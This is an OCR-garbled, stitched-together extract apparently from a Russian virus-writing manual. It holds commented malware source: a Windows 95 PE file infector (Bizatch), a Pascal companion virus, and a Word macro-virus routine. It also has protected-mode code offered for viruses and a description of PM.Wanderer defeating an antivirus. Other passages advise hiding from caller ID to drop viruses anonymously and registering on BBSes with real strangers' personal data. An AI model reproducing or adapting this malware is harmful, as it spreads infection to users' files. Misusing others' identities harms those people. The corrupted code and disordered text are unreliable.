push dword ptr [ebp+offset ahand]
call WriteFile
[Закроем файл
notape:
push dword ptr [ebp+offset ahand]
call CloseFile
[Переход к следующему файлу
findnextone:
[Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше - ищем следующий
cmp byte ptr [ebp+offset countinfect],3
jz outty
;Ищем следующий файл
lea eax, [ebp+offset win32_data_thang]
push eax
push dword ptr [ebp+offset searchhandle]
call FindNext
.Если файл найден, переходим к заражению
or eax.eax
jnz gofile
;Сюда попадаем, если файл не найден
foundnothing:
;Сменим директорию
хог еах.еах
lea edi,[ebp+offset tempdir]
mov ecx,256/4
rep stosd
lea edi,[ebp+offset tempdirl]
mov ecx.256/4
rep stosd
Получим текущую директорию
lea esi,[ebp+offset tempdir]
push esi
push 255
call GetCurDir
.Сменим директорию на "."
lea eax,[ebp+offset dotdot]
push eax
call SetCurDir
;Получим текущую директорию
lea edi,[ebp+offset tempdirl]
push edi
push 255
call GetCurDir
Проверим, корневая ли это директория. Если да, то выходим
mov есх.256/4
rep cmpsd
jnz infectdir
;"3аметаем следы" и выходим в программу-носитель
outty:
;Возвратимся в оригинальную текущую директорию
lea eax,[ebp+offset orgdir]
push eax
call SetCurDir
Получим текущую дату и время
lea eax,[ebp+offset systimestruct]
push eax
call GetTime
Проверим число. Если это 31-ое, выдаем сообщение
cmp word ptr [ebp+offset day],31
jnz nopayload
.Сообщение для пользователя
push 1000h ;MB_SYSTEMMODAL
lea eax, [ebp+offset boxtitle]
push eax
lea eax, [ebp+offset boxmsg]
push eax
push 0
call MsgBox
; Выход в программу-носитель
nopayload:
pop eax
jmp eax
; Когда KERNEL будет обнаружен, его смещение будет записано
kern dd OBFF93B95h
;3начения KERNEL, известные нам
kern1 dd OBFF93B95h
kern2 dd OBFF93C1Dh
;Чтение текущей директории
GetCurDir:
;3апишем в стек значение для получения текущей
директории и вызовем KERNEL
push OBFF77744h
jmp [ebp+offset kern]
.Установка текущей директории
SetCurDir:
;3апишем в стек значение для установки текущей
директории и вызовем KERNEL
push OBFF7771Dh
jmp [ebp+offset kern]
[Получение времени и даты
GetTime:
Проверим, какой KERNEL работает
cmp [ebp+offset kern],OBFF93B95h
jnz gettimekern2
;3апишем в стек значение для получения
;времени и даты и вызовем KERNEL
push OBFF9DOB6h
jmp [ebp+offset kern]
gettimekern2:
;3апишем в стек значение для получения
;времени и даты и вызовем KERNEL
push OBFF9D-l4Eh
jmp [ebp+offset kern]
;Вывод сообщения
MsgBox:
.Запишем в стек значение для вывода сообщения и вызовем KERNEL
push OBFF638D9h
jmp [ebp+offset kern]
.Поиск первого файла
FindFile:
;3апишем в стек значение для поиска первого файла
;и вызовем KERNEL
push OBFF77893h
jmp [ebp+offset kern]
; Поиск следующего файла
FindNext:
;3апишем в стек значение для поиска
[следующего файла и вызовем KERNEL
push OBFF778CBh
jmp [ebp+offset kern]
[Открытие/создание файла
CreateFile:
;3апишем в стек значение для открытия/создания файла
;и вызовем KERNEL
push OBFF77817h
jmp [ebp+offset kern]
[Установка указателя чтения/записи
SetFilePointer:
;3апишем в стек значение для установки
.указателя чтения/записи файла и вызовем KERNEL
push OBFF76FAOh
jmp [ebp+offset kern]
;Чтение из файла
ReadFile:
;3апишем в стек значение для чтения из файла и вызовем KERNEL
push OBFF75806h
jmp [ebp+offset kern]
;3апись в файл
WriteFile:
;3апишем в стек значение для записи в файл и вызовем KERNEL
push OBFF7580Dh
jmp [ebp+offset kern]
;3акрытие файла
CloseFile:
;3апишем в стек значение для закрытия файла и вызовем KERNEL
push OBFF7BC72h
jmp [ebp+offset kern]
;Счетчик заражений
countinfect db 0
Используется для поиска файлов
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)
;Имя сообщения, выводимого 31-го числа
boxtitle db "Bizatch by Quantum / VLAD",0
.-Сообщение, выводимое 31-го числа
boxmsg db "The taste of fame just got tastier!",Odh
db "VLAD Australia does it again with the world"s first Win95 Virus"
db Odh.Odh
db 9."From the old school to the new. ".Odh.Odh
db 9,"Metabolis",Odh
db 9,"Qark",Odh
db 9,"Darkman",Odh
db 9,"Quantum",Odh
db 9,"CoKe",0
messagetostupidavers db "Please note: the name of this virus is [Bizatch]"
db "written by Quantum of VLAD",0
Данные о директориях
orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdirl db 256 dup (0)
Используется для смены директории
dotdot db ".",0
Используется для получения времени/даты
systimestruct:
dw 0,0,0
day dw 0
dw 0,0,0,0
;Индекс для поиска файлов
searchhandle dd О
;Маска для поиска
fname db "*.exe",0
; Описатель открытого файла
ahand dd О
;Смещение РЕ-заголовка в файле
peheaderoffset dd О
[Смещение таблицы объектов
ObjectTableoffset dd О
[Количество записанных/считанных байт при работе с файлом
bytesread dd О
.Новый объект
newobject:
oname db ".vlad",0,0,0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,OCOh
Данные, необходимые для заражения файла
peheader:
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов
vend:
db -lOOOh dup (0)
ends
end vstart
Приведенный ниже листинг показывает заражение файлов этим методом.
($М 2048, 0, 0}
f$A-}
<$В-"
($D-}
<$Е+1
{$F-}
{$G-}
{$!-}
f$L-(
{$N-)
{$S-}
<$V-}
{$X+}
(Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS;
Const
{Имя вируса)
VirName='Guesf;
Author='Dirty Nazi/SGWW. 4 PVT only!';
{Количество зараженных за один сеанс работы файлов}
lnfCount=2;
Var
{Для имени найденного файла)
TargetFile : PathStr;
{Для создания копии}
TargetCOM : PathStr;
(Счетчик количества заражений}
InfFiles : Byte;
Dirlnfo : SearchRec;
{Для сохранения параметров командной строки}
Parms : String;
(Для цикла For}
I: Byte;
(Поиск жертв}
procedure FindTarget;
Var
Sr : SearchRec;
{Функция возвращает True, если найденная программа уже заражена,
и False, если еще нет}
function VirusPresent: Boolean;
Var
Target : File;
begin
{Пока будем считать, что вируса здесь нет}
VirusPresent:=False;
{Пытаемся открыть файл с именем найденной программы,
но с расширением СОМ}
AssignHarget, TargetCOM);
ResetHarget, 1);
{Если не было ошибок при открытии,
программа уже инфицирована этим вирусом}
If IOResult=0 Then
begin
VirusPresent:=True;
{Открыли - закроем}
Close(Target);
end;
end;
{Собственно процедура заражения}
procedure InfectFile;
begin
{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{С помощью командного процессора
копируем вирусный код в СОМ-файл}
Swap Vectors;
Exec(GetEnv('COMSPEC'),7C COPY /B '+ParamStr(0)+'
'+TargetCOM+' >NUL');
Swap Vectors;
(Увеличиваем на единицу счетчик инфицированных файлов}
Inc(lnfFiles);
end;
end;
begin {начало процедуры FindTarget}
(Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive}
FindFirstF.EXE', Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=" Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM';
{Вызываем процедуру заражения}
InfectFile;
{ Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
Parms:=' ';
{Запоминаем параметры командной строки}
If ParamCount <> 0 Then
For l:=1 To ParamCount Do
Parms:=Parms+' '+ParamStr(l);
{Ищем жертвы и заражаем их}
FindTarget;
TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE';
(Ищем файл с именем стартового файла, но с расширением ЕХЕ}
FindFirst(TargetFile, AnyRle, Dirlnfo);
{Если такой файл найден, запускаем его на выполнение)
If DosError=0 Then
begin
Swap Vectors;
Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms);
Swap Vectors;
end Else
{Если файл не найден, выходим,
не внося в программу изменений)
begin
WriteLn(#13#10, VirName, ' by '.Author);
WriteLnCKaKoe-нибудь сообщение');
end;
end.
Процедура SaveAs
Она копирует макро-вирус в активный документ при его сохранении
через команду File/SaveAs. Эта процедура использует во многом схо-
жую с процедурой AutoExec технологию. Код для нее:
Sub MAIN
Dim dig As FileSaveAs
GetCurValues dig
Dialog dig
If (Dlg.Format=0) Or (dlg.Format=1) Then
MacroCopy "FileSaveAs", WindowName$()+":FileSaveAs"
'Заражает при сохранении документа
MacroCopy "FileSave", WindowName$()+":FileSave"
MacroCopy "PayLoad", WindowName$()+":PayLoad"
MacroCopy "FileOpen", WindowName$()+":FileOpen"
'При открытии документа
Dlg.Format=1
End If
FileDaveAs dig
End Sub
Этой информации вполне достаточно для создания небольших макро-
вирусов.
Программы, авторизующиеся в Online
В последнее время все чаще стали появляться программы, которые про-
веряют через Интернет, зарегистрирована ли данная копия программы.
Вернее, когда пользователь работает в Интернет, они незаметно это про-
веряют, а потом радуют сообщением о том что используемая копия не-
легальна. Наглядный тому пример - Bullet Proof FTP. Но это еще не
все. Существует мнение, что такие программы, как, например, операци-
онная система Windows, способны как бы следить за всем, что происхо-
дит в компьютере (либо сами, либо по команде из Интернет), и отправ-
лять все собранные данные своим разработчикам. Не так давно
разразился скандал, когда выяснилось, что один известный FTP-клиент
отправлял все вводимые имена и пароли своим разработчикам. Так что
будьте бдительны!
Простейший СОМ-вирус
В начале СОМ-файла обычно находится команда безусловного перехода
JMP, состоящая из трех байт. Первый байт содержит код команды OE9h,
следующие два - адрес перехода. Поскольку рассматриваемый ниже ви-
рус учебный, он будет заражать только СОМ-файлы, начинающиеся
с команды JMP. Благодаря простому строению СОМ-файла в него очень
просто добавить тело вируса и затем указать его адрес в команде JMP.
На рис. 1.1. показано заражение файла таким способом.
После загрузки зараженного файла управление получает вирус. Закон-
чив работу, вирус восстанавливает оригинальный JMP и передает уп-
равление программе, как показано на рис. 1.2.
Что же делает рассматриваемый вирус? После старта он ищет в теку-
щем каталоге СОМ-программы. Для этого используется функция 4Eh
(найти первый файл):
Protected Mode - укрытие для вируса
Персональные компьютеры год от года становятся все сложнее и слож-
нее, используют все более высокие аппаратные и программные техноло-
гии. Компьютерные вирусы тоже не отстают и пытаются приспособиться
к новым условиям обитания. Так, вирусы научились заражать загрузоч-
ные сектора дисков, файлы для операционных систем DOS, Windows,
Windows 95, OS/2, Linux и даже документы Word, Excel, и MS-Office 97.
Скрывая свое присутствие в системе, они стали невидимками, или
стелс-вирусами. Они научились быть полиморфными для того, чтобы
их распознавание стало еще более трудной задачей для разработчиков
антивирусных средств. С появлением процессоров i386 вирусы стали
использовать в своем коде 32-разрядные инструкции. В настоящее вре-
мя полиморфные вирусы используют 32-разрядные расшифровывающие
команды в своем декрипторе.
Одним словом, вирусы хотят выжить и победить. Для этого они исполь-
зуют все новые возможности, как программные, так и аппаратные. Но
защищенный режим работы, появившийся вместе с процессором i286,
до недавнего времени вирусам никак не удавалось "приручить". Вернее,
были "пробы пера", но реального решения этой задачи они не дали.
Загрузочный вирус PMBS, первым пытавшийся освоить защищенный ре-
жим (1994 г.), не мог ужиться ни с одной программой или драйвером
(EMM386, Windows, OS/2,...), которые также использовали в своей рабо-
те защищенный режим. Вирусы Evolution.2761 и Evolution.2770 (тоже
1994 г.) использовали только часть мощного защищенного режима и толь-
ко в то время, когда процессор работал в реальном режиме. Данные виру-
сы заменяли реальную таблицу векторов прерываний на собственную.
Но вот, похоже, проблема близка к разрешению: в России в "диком"
виде обнаружен файловый вирус PM.Wanderer, использующий защи-
щенный режим. Причем он более или менее корректно и стабильно вза-
имодействует с другими программами и драйверами, также использую-
щими защищенный режим.
PM.Wanderer является резидентным полиморфным вирусом, использу-
ющим защищенный режим процессоров i386-Pentium. Для установки
своей резидентной копии в память и переключения в защищенный ре-
жим процессора (Protected Mode) вирусом используется документиро-
ванный интерфейс VCPI (Virtual Control Program Interface) драйвера
расширенной памяти EMS (EMM386).
При старте инфицированной программы вирусный полиморфный дек-
риптор расшифровывает основное тело вируса и передает ему управле-
ние. Далее основной вирусный код выделяет участок памяти в верхних
адресах, копирует в него собственный код и передает ему управление.
Затем он восстанавливает код инфицированного файла в программном
сегменте (для ЕХЕ-файлов также производит настройку адресов пере-
мещаемых элементов) и приступает к непосредственному внедрению
в память своей резидентной копии. .
В первую очередь вирус пытается вьыснить, установлен ли в системе драй-
вер EMS. Если этот драйвер не установлен или вирусная резидентная ко-
пия уже находится в памяти, вирус отдает управление программе-вирусо-
носителю, заканчивая тем самым свою "жизнедеятельность" в системе.
Если же "условия среды обитания" благоприятствуют, вирус выполня-
ет ряд подготовительных операций для выделения памяти под свое тело
и производит переключение процессора в защищенный режим работы
с наивысшим уровнем привилегий - режим супервизора.
В защищенном режиме вирус устанавливает две аппаратные контрольные
точки на адреса входа в обработчик прерывания INT 21h (функции DOS)
и перехода на процедуру перезагрузки компьютера. Кроме того, вирус
корректирует дескрипторную таблицу прерываний таким образом, чтобы
на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) ус-
тановить собственные дескрипторы обработчиков прерываний.
После этих приготовлений вирус копирует свой код в страницу памяти,
полученную им еще до входа в защищенный режим, и производит пере-
ключение процессора обратно в виртуальный режим работы. Затем он
начинает процедуру освобождения ранее выделенной памяти DOS
в верхних адресах и возвращает управление инфицированной программе.
С этого момента инфицированная программа начинает свою основную
работу, а в защищенном режиме оказываются установленными вирус-
ные обработчики - ловушки на INT 1 и прерывания от клавиатуры на
INT 9. С их помощью вирус контролирует, во-первых, все вызовы фун-
кций DOS, во-вторых, все нажатия клавиш на клавиатуре, и, в-третьих,
попытки мягкой перезагрузки компьютера. В свою очередь, такой конт-
роль обеспечивает вирусу возможность как надежно реагировать на ряд
интересующих его событий при работе программы, так и постоянно
проверять состояние двух своих контрольных точек и при необходимо-
сти восстанавливать их.
В частности, если вирус обнаруживает, что данный вызов исходит
от его "собрата", он просто возвращает некоторое условное значение,
играющее роль отзыва "я - свой". Таким образом, вирус, пытавшийся
выяснить наличие своей копии в памяти, будет информирован о том,
что память уже инфицирована.
Если вирус обнаруживает попытку получения адреса прерывания INT 6
(обычно такой вызов существует во всех программах, написанных на
языках высокого уровня, например С, Pascal), то он 1"Ъ1тается найти
в адресном пространстве некоторую последовательность байт, очевидно
принадлежащих программе ADinf, но какой-то старой версии. Кстати,
по информации разработчика ADinf Дмитрия Мостового, за последний
год в версиях ADinf не содержится такая последовательность. Если дан-
ная последовательность вирусом найдена, он определенным образом
модифицирует найденный код, чтобы управление не попадало на вызов
межсегментной процедуры, демонстрирующей пользователю найденные
на диске или в файлах изменения.
Если же вирус обнаруживает запрос на запуск программы или открытие
файла (только на чтение), то понимает, что наступило время "большой
охоты". Вирус копирует свой код в старшие адреса виртуального про-
цесса DOS-машины, переключает процессор в виртуальный режим
и отдает управление своему коду (процедуре заражения).
В виртуальном режиме вирус проверяет последние две буквы расшире-
ния имени файла (ОМ или ХЕ), создает свою полиморфную копию
и заражает файлы размером более 4095 байт. Файлы, содержащие
в поле значения времени создания 34 секунды, вирус не заражает, счи-
тая их уже инфицированными. Корректировку атрибутов файлов вирус
не производит, поэтому все файлы, помеченные как "только для чте-
ния", заражены не будут. Также вирус не заражает программы, имя ко-
торых состоит из 7 букв. Имена данных программ выяснить не удалось,
так как вирус не определяет их имена явно, а подсчитывает CRC име-
ни. Вирус не берет на себя обработку критических ошибок, поэтому при
попытке записи на защищенный диск в процессе заражения появится
стандартный вопрос DOS (...Retry, Ignore, Fail, Abort).
При заражении файлов вирус использует прямой вызов ядра обработчи-
ка DOS INT 21h. Адрес этого ядра он выясняет при трассировке INT 21h
во время своей установки в память. Вирусный код внедряется в начало
СОМ- или в середину ЕХЕ-файла (сразу же после заголовка). Ориги-
нальный программный код запоминается в конце файла. Реальный
рабочий код вируса составляет 3684 байт, но на практике инфицирован-
ные файлы имеют приращение длины более 3940 байт. В теле вируса
содержится текст "WANDERER".
Обнаружить резидентную копию данного вируса, находящегося в нуле-
вом кольце защищенного режима процессора, обычными способами не-
возможно. Для этого необходимо переключаться в защищенный режим
с наивысшими привилегиями и производить его поиск. Но попытаться
обнаружить признаки вируса в системе можно и обычными способами.
После обнаружения вируса рекомендуется, как и всегда в таких случа-
ях, перезагрузиться с системной дискеты и выполнить лечение в заведо-
мо стерильных условиях. Правда, данный вирус не является Stealth-ви-
русом, и его лечение допустимо даже при активном вирусе.
Теперь немного о результатах тестирования.
При заражении несколь-
ких тысяч файлов- жертв вирус проявил себя как "жилец" - все зара-
женные файлы оказались работоспособными. Здесь надо сделать по-
правку - файлы могут оказаться неработоспособными в том случае,
если их стек после заражения окажется в области вирусного кода.
PM.Wanderer при заражении файлов не корректирует значения стар-
товых SS:SP в ЕХЕ-заголовке. Как уже отмечалось выше, он сохраняет
способность к воспроизводству только в том случае, если в системе уста-
новлен драйвер EMS (EMM386). При установленном драйвере EMM386
с ключом NOEMS вирус перезагружает компьютер. Перезагрузка также
возможна, если в системе используется драйвер QEMM386.
Самое интересное, что если в системе находился резидентный вирус,
а потом произошла загрузка Windows 3.1 или Windows 95, то вирус не
сможет размножаться в данных операционных средах, но при выходе
в DOS он опять получает управление и может "трудиться, не покладая
рук". Если же вирус будет запущен в DOS-сессии Windows, то из-за
отсутствия интерфейса VCPI вирус не сможет переключиться в защи-
щенный режим. При отсутствии VCPI под OS/2 вирус также нежизнес-
пособен.
Возможно, в недалеком будущем компьютерный вирус сможет полнос-
тью заменить своим кодом программу-супервизора и сам будет поддер-
живать интерфейсы DPMI, EMS/VCPI, XMS, INT 15h. Кто знает.
Приведенная ниже программа позволяет программисту перевести про-
цессор в защищенный режим. В этом режиме вирус может, например,
расшифровать некоторые данные.
Данная программа делает следующее:
- создает таблицы GDT и LDT, используя текущие значения
CS.DS.SS
- запрещает все прерывания, открывает линию А20
для доступа к RAM>1 Мбайт
- переводит процессор в защищенный режим
- в первый символ строки qw заносит символ L
- выходит в реальный режим
- разрешает прерывания, закрывает А20 -т
- выводит на экран строку qw ("Light General")
- выход в DOS
.286
.model tiny
.code
org 100h
Определения для защищенного режима работы программы
;Структура дескриптора
desc_struc STRUC
limit dw 0
baseJ dw 0
base_h db 0
access db 0
rsrv dw 0
desc_struc ENDS
ACC_PRESENT equ WOOOOOOb
ACC_CSEG equ OOO-MOOOb
ACC_DSEG equ 000-IOOOOb
ACC_EXPDOWN equ 000001 OOb
ACC_CONFORM equ 000001 OOb
ACC_DATAWR equ 0000001 Ob
DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR
; 1001001 Ob
CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM
; 10011100b
STACK_ACC= ACC_PRESENT or ACC_DSEG or ACC_DATAWR or
ACC.EXPDOWN; 1001011 Ob
;Размеры сегментов (реальные размеры на единицу больше)
CSEG SIZE=65535
DSEG_SIZE=65535
STACK_SIZE=65535
[Смещения используемых дескрипторов
CS_DESCR=(gdt_cs-gdt_0)
DS_DESCR=(gdt_ds-gdt_0)
SS_DESCR=(gdt_ss-gdt_0)
;Константы значений портов ?
CMOS_PORT equ 70h
STATUS_PORT equ 64h
SHUTDOWN equ OFEh
A20_PORT equ OD1h
A20_ON equ ODFh
A20_OFF equ ODDh
INT_MASK_PORT equ 21 h
KBD_PORT_A equ 60h
start:
.Инициализируем необходимые данные для перехода
;в защищенный режим
call init_protected_mode
[Переходим в защищенный режим
call set_protected_mode
;Теперь компьютер работает в защищенном режиме!
;Так как таблица прерываний реального режима не может быть
использована в защищенном, прерывания запрещены!
;Именно тут можно вставить инструкции, нужные вирусу
.Возвращаемся в реальный режим
call set_real_mode
[Печатаем сообщение "Light General"
mov ah,09h
lea dx.qw
int 21 h
;Выходим в DOS
mov ax,4COOh
int 21 h
[Макрокоманда для установки адреса для дескриптора
;в глобальной таблице дескрипторов GDT.
;На входе регистры DLAX должны содержать
.абсолютный адрес сегмента
setgdtentry MACRO
mov [desc_struc.base_l][bx],ax
mov [desc_struc.base_h][bx],dl
ENDM
•<
; Процедура инициализации необходимых данных
.для перехода в защищенный режим
init_protected_mode PROC
вычисляем абсолютный адрес для сегмента данных
;в соответствии со значением регистра DS
mov ax.ds
mov dl.ah
shr dl,4
shi ax,4
;Устанавливаем адрес сегмента данных
;в глобальной таблице дескрипторов
mov bx, offset gdt_ds
setgdtentry
; Вычисляем абсолютный адрес для сегмента GDT: прибавляем
;к уже вычисленному абсолютному адресу сегмента данных
;смещение в нем таблицы дескрипторов
add ax,offset gdtr
adc dl.0
Останавливаем адрес сегмента GDT
;в глобальной таблице дескрипторов
mov bx.offset gdt_gdt
setgdtentry
;Вычисляем абсолютный адрес для сегмента кода
;в соответствии со значением регистра CS
mov ax,cs
mov dl.ah
shr dl,4
shi ax,4
.Устанавливаем адрес сегмента кода
;в глобальной таблице дескрипторов
mov bx, offset gdt_cs
setgdtentry
[Вычисляем абсолютный адрес для сегмента стека
;в соответствии со значением регистра SS
mov ax.ss
mov dl.ah
shr dl,4
shi ax,4
Останавливаем адрес сегмента стека
;в глобальной таблице дескрипторов
mov bx,offset gdt_ss
setgdtentry
Перехватываем рестарт. Так как процессор i286 (а эта программа
[рассчитана именно на такой процессор) не имеет возможности
;возврата в реальный режим из защищенного, возврат в реальный
режим будем производить следующим образом: перехватим рестарт,
.сгенерируем CPU Reset, после которого получим управление, когда
Процессор будет находится уже в реальном режиме. На процессоре
;i386 возврат в реальный режим происходит
[значительно проще и "естественнее".
push ds
mov ax,40h
mov ds,ax
mov word ptr ds:[0067h], offset shutdown_return
mov word ptr ds:[0069h],cs
pop ds
[Запрещаем маскируемые прерывания
cli
in al,INT_MASK_PORT
or al.OFFh
out INT_MASK_PORT,al
[Запрещаем немаскируемые прерывания. Данная последовательность
;команд не запрещает "незапрещаемые" прерывания в процессоре
[(этого сделать по определению нельзя), а "не пускает" сигнал
[немаскируемого прерывания к процессору
mov al,8Fh
out CMOS_PORT,al
jmp $+2
mov al,5
out CMOS_PORT+1,al
ret
init_protected_mode ENDP
[Подпрограмма, переводящая процессор в защищенный режим
set_protected_mode PROC
.Открываем адресную линию А20 для доступа свыше 1Мбайт.
;При закрытой линии адресное пространство
["зацикливается" в пределах 1Мбайт
call enable_a20
. Сохраняем значение регистра SS для реального режима
mov real_ss,ss
[Переводим компилятор Turbo Assembler в улучшенный режим.
[IDEAL - это не команда и не оператор, это директива, влияющая
[только на интерпретацию дальнейших строк листинга
ideal
р286
[Загружаем регистр глобальной таблицы дескрипторов GDTR
Igdt [QWORD gdt_gdt] ;db OFh,01h,16h dw offset gdt_gdt
[Переводим процессор в защищенный режим
mov ax,0001h
Imsw ax ;db OFh,01h,FOh
[Переводим компилятор Turbo Assembler назад в режим MASM
masm
.286
[Производим длинный переход для того,
.чтобы очистить внутреннюю очередь
.команд процессора
jmp far flush
db OEAh
dw offset flush
dw CS_DESCR
flush:
Останавливаем в регистр SS селектор сегмента стека
mov ax,SS_DESCR
mov ss.ax
;Устанавливаем в регистр DS селектор сегмента данных
mov ax,DS_DESCR
mov ds.ax
.Записываем в строку qw символ "L" и выходим из подпрограммы
mov byte ptr ds: [off set qw+2],"L"
ret
set_protected_mode ENDP
Подпрограмма, возвращающая процессор в реальный режим
set_real_mode PROC
[Сохраняем значение регистра SP для реального режима
mov real_sp,sp
.Выполняем CPU Reset (рестарт процессора)
mov al,SHUT_DOWN
out STATUS_PORT,al
;Ждем, пока процессор перезапустится
wait_reset:
hit
jmp wait_reset
;C этого места программа выполняется после перезапуска процессора
shutdown_return:
;Устанавливаем регистр DS в соответствии с регистром CS
push cs
pop ds
восстанавливаем указатели на стек
;по ранее сохраненным значениям
mov ss,real_ss
mov sp,real_sp
[Закрываем адресную линию А20
call disable_a20
.Разрешаем немаскируемые прерывания
mov ax.OOOdh
out CMOS_PORT,al
[Разрешаем маскируемые прерывания
in al,INT-MASK_PORT
and al,0
out INT_MASK_PORT,al
sti
ret
set_real_mode EN DP
[Процедура, открывающая адресную линию А20. После открытия
[адресной линии программам будет доступна память свыше 1Мбайт
enable_a20 PROC
mov al,A20_PORT
out STATUS_PORT,al
mov al,A20_ON
out KBD_PORT_A.al
ret
enable_a20 ENDP
[Процедура, закрывающая адресную линию А20. После закрытия
[адресной линии программам будет недоступна память свыше 1Мбайт.
[Адресное пространство будет "зацикленным" в пределах 1Мбайт
disable_a20 PROC
mov al.A20_PORT
out STATUS_PORT,al
mov al,A20_OFF
out KBD_PORT_A,al
ret
disable_a20 ENDP
[Здесь сохраняется адрес стека
real_sp dw ?
real_ss dw ?
[Эта строка выводится на экран после работы программы
[Символ "?" заменяется на "L" в защищенном режиме
qw db 13,10,"?ight General",13,10,"$"
;Глобальная таблица дескрипторов. Нулевой дескриптор
обязательно должен быть "пустым"
GDT_BEG=$
gdtr label WORD
gdt_0 desc_struc <0,0,0,0,0>
gdt_gdt desc_struc <GDT_SIZE-1„,DATA_ACC,0>
gdt_ds desc_struc <DSEG_SIZE-1,„DATA_ACC,0>
gdt_cs desc_struc <CSEG_SIZE-1„,CODE_ACC,0>
gdt_ss desc_struc <STACK_SIZE-1,„DATA_ACC,0>
GDT_SIZE=($-GDT_BEG)
END start
Проверка на отсутствие АОН
Прежде чем получать адрес и звонить на BBS, нужно убедиться (напри-
мер, путем звонка с сотового телефона, с телефона-двойника типа
Panasonic, с таксофона или с телефона, который гарантированно не
определяется системой АОН), что на данном узле отсутствует система
АОН. Если в списке BBS (или в рекламе) указан тип модема Russian
Courier, Zyxell или IDC, с вероятностью 99% на этих станциях исполь-
зуются АОН. АОН выдает себя характерным щелчком и звуковым сиг-
налом, как правило, после первого гудка (он снимает трубку, а далее
идут гудки, выдаваемые самим АОН, как правило, отличающиеся от
первого гудка по тональности). Если АОН есть, но все же нужно остать-
ся анонимным (например, хотите провести акцию информационной
войны, сбросить новый вирус и тому подобное), можно воспользовать-
ся АнтиАОНом. Эти функции присутствуют практически во всех теле-
фонных аппаратах с АОН (например, в РУСЬ или в Phone Master).
Также можно купить приставку-АнтиАОН, которая еще не раз приго-
диться (в Москве, например, они продаются на радиорынке в Митино).
Функцию АнтиАОН лучше включать почти сразу после набора номера
и удерживать ее некоторое время. Если АОН не может определить но-
мер, то после снятия трубки АОН-ом слышится характерные тональные
сигналы (порядка 9 штук).
Сегменты кода и данных.
Если в сегменте кода содержатся вызовы
функций, определенных в других сегментах, то для таких вызовов необ-
ходимо использовать таблицы перемещений. Они располагаются непо-
средственно за кодом или данными в сегменте. В двух первых байтах
содержится число элементов таблицы.
Таблица содержит:
- тип адресации (только сегмент, только смещение, или и то, и другое);
- тип перемещения (внутренняя ссылка, импортируемый порядковый
номер, импортируемое имя);
- номер сегмента или порядковый ID (для внутренних ссылок);
- индекс таблицы ссылок или порядковый номер функции;
- индекс таблицы ссылок или смещение таблицы имен (для импорти-
руемых имен).
Соглашения о вызовах
Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя
соглашения о вызовах просты для применения, Microsoft их не исполь-
зует. Все API под Wm95 используют Pascal Calling Convention. При-
мер - API, описанный в файлах справки Visual C++:
FARPROC GetProcAddress(
HMODULE hModule, // описатель DLL-модуля
LPCSTR IpszProc // имя функции
);
На первый взгляд кажется, что достаточно лишь сохранить в стеке опи-
сатель DLL-модуля (он стоит перед указателем на имя функции) и выз-
вать API. Но это не так. Параметры, согласно Pascal Calling Convention,
должны быть сохранены в стеке в обратном порядке:
push offset IpszProc
push dword ptr [hModule]
call GetProcAddress
Используя 32-битный отладчик, можно оттрассировать вызов и найти
вызов KERNEL32 для каждого конкретного случая. Это позволит полу-
чить номер функции и обойтись без необходимой для вызова таблицы
импортируемых имен.
СОМ-ВИРУСЫ
В этой главе рассказано об ал-
горитмах работы вирусов,
заражающих СОМ-файлы,
и способах их внедрения. Пред-
ставлен исходный текст од-
ного из таких вирусов с под-
робными комментариями.
Также приведены основные све-
дения о структуре и принци-
пах работы СОМ-программы.
10 СОМ-вирусы
Компьютерные вирусы могут "гнездиться" в самых неожиданных мес-
тах, например, в записи начальной загрузки MBR (master boot record),
в исполняемых файлах типа СОМ и ЕХЕ, в файлах динамических биб-
лиотек DLL и даже в документах текстового процессора Microsoft Word
for Windows. В этом разделе подробно рассматривается строение виру-
са, поражающего СОМ-файлы.
Советы по регистрации
Никогда не стоит регистрироваться под настоящим именем, ведь неиз-
вестно, к кому может попасть эта информация и для чего она будет ис-
пользована. Можно взять любую телефонную базу, например, КОТИК
или ее Online версию (http://www.xland.ru:8088/tel_win/owa/tel.form),
и ввести любую выдуманную фамилию. Тривиальные фамилии, вроде
Иванов, Петров, Смирнов, Андреев, Алексеев и так далее, корректнее не
использовать, лучше что-то не совсем обычное (ну первое, что прихо-
дить в голову: Левашов, Дубинин, Авдотин, Садовский). Далее записы-
ваем инициалы, адрес и телефон любого человека из выведенного спис-
ка. При регистрации на BBS обычно требуется сообщить такие
сведения:
- имя и фамилию (иногда полное ФИО - полученные инициалы
нетрудно преобразовать во что либо, например Н.А. в Николая
Алексеевича; более того, инициалы могут и не совпадать, ведь по-
тенциально квартира может быть зарегистрирована, скажем, на ро-
дителей или жену) - вводятся полученные из базы;
- домашний адрес - полученный из базы;
- телефон - тоже полученный из базы;
- день рождения - придумываем;
- хобби - придумываем;
- и т.д.
Системные операторы BBS, как правило, очень ленивы, и максимум, на
что их хватит, так это проверить данные по той же самой базе.
